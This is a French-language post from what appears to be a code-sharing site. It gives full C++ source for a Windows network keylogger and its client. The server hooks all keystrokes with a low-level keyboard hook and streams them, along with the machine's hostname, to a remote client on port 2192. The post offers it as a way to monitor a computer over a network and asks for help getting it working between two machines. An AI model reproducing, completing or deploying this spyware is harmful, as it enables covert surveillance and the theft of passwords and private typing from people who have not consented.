Keylogger serveur/client

Description

Voici un petit keylogger ( encore un ><) envoyant toute les touches tappées au client. Il ne prend pas en charge les majuscules ( du moin pas encore ). Je me suis inspiré d'un keylogguer classique sur ce site. Pour surveiller un ordinateur en réseau ou autre.

Source / Exemple :


//Source du Serveur :
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <cstdio>
#include <cstdlib>

#include <iostream>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

 HHOOK hKeyHook;

SOCKET sock;
SOCKET csock;
SOCKADDR_IN sin;
SOCKADDR_IN csin;

using namespace std;

void displayCharArray(char stringArray[], int size0floatArray);
 
 __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam ) {

 // Action du clavier et les touches tappées
 if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) {
 BYTE KeyState[256];
 WORD wBuffer;
 // Récupération des informations
 KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);

 GetKeyboardState(KeyState);
 // Conversion code > ascii
 
  ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuffer,0);

switch(hooked.vkCode)
{
 case 9 :{send(csock,"<TAB>",6,0);break;}
 case 13 :{send(csock,"<ENTER>",8,0);break;}
 case VK_BACK :{send(csock,"<delete>",9,0);break;}
 case VK_DELETE: {send(csock,"<Suppr>",8,0);break;}
 case VK_CAPITAL :{send(csock,"<CAP>",6,0);break;}
 case 160 :{send(csock,"<MAJ>",6,0);break;}
 

 default : {                                          
send(csock,((const char*)&wBuffer),sizeof(&wBuffer),0);
break;
}}

 }
 // Fin du hook Renvoi des messages 
 return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
 }

 // Boucle message
 void Boucle()
 {
 MSG message;
 while (GetMessage(&message,NULL,0,0)) {
 }
 }

 DWORD WINAPI KeyLogger(LPVOID lpParameter)
 {      

 HINSTANCE hExe = GetModuleHandle(NULL);

 if (!hExe) return 1;

 // Demarrage du hook
 hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, NULL);

 // Boucle message
 Boucle();

 return 0;
 }

//**************************************************************************
int main()
{ //*********************************************************************

WSADATA WSAData;
WSAStartup(MAKEWORD(2,0),&WSAData);
	

sock = socket(AF_INET, SOCK_STREAM, 0);

sin.sin_addr.s_addr			= INADDR_ANY;
sin.sin_family				= AF_INET;
sin.sin_port				= htons(2192);
//**********************
HANDLE hThread;
 DWORD dwThread;
 DWORD exThread;
//**********************

if (bind(sock, (SOCKADDR *)&sin, sizeof(sin)) == SOCKET_ERROR){
     cout << "Problème de connection";
     system("PAUSE");
     return 1;}          
if (listen(sock, 0) == SOCKET_ERROR){
                 cout << "Port déjà utilisé";
                 system("PAUSE");
                 return 1;}
char FAR buffer[64] ;

		while(true)
		{
                
			int sinsize = sizeof(csin);
			if((csock = accept(sock,(SOCKADDR *)&csin,&sinsize)) != INVALID_SOCKET)
			{
                      gethostname(buffer, sizeof(buffer));
                      send(csock,buffer,sizeof(buffer),0);
                      send(csock," // Keylogguer Actif : ",22,0);                                          
                      cout << "On" << endl;                 
			hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, NULL, &dwThread);
 
 if (hThread) {
 
 return WaitForSingleObject(hThread,INFINITE);
} else {
       
 return 0;

			}
			
        }

closesocket(sock);
WSACleanup();
		}
}

//CLIENT
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

using namespace std;

int main(int nNumberofArgs, char* pszArgs[])
{
char buffer[1024];

WSADATA WSAData;
WSAStartup(MAKEWORD(2,0),&WSAData);
    
SOCKET sock;
sock = socket(AF_INET,SOCK_STREAM,0);
    
SOCKADDR_IN sin;
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
sin.sin_family      = AF_INET;
sin.sin_port        = htons(2192);

connect(sock,(SOCKADDR *)&sin,sizeof(sin));
int x = connect(sock,(SOCKADDR *)&sin,sizeof(sin));
// Boucle infinie réception message
for(;;)
{
    int i = recv(sock,buffer,sizeof(buffer),0);
    if (i != false && i != SOCKET_ERROR)
    {
    cout << buffer;
    }
    if ( i == SOCKET_ERROR){cout << endl << endl << "Connexion interrompu" << endl << endl;system("PAUSE");return 1;}
    if(x == false){
         system("PAUSE");
         return 1; // Si connection inexistante break
}}

closesocket(sock);
WSACleanup();

getchar();
}

Conclusion :


Personnellement je n'arrive pas à établire une connection avec deux ordinateurs, je suis ouvert à toute aide de votre part.

Je sais que la déclaration de toute les touches pourrait être évité mais je n'arriver pas à faire autrement.

Il y'aura sans doute des améliorations prochainement.

Codes Sources

A voir également

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.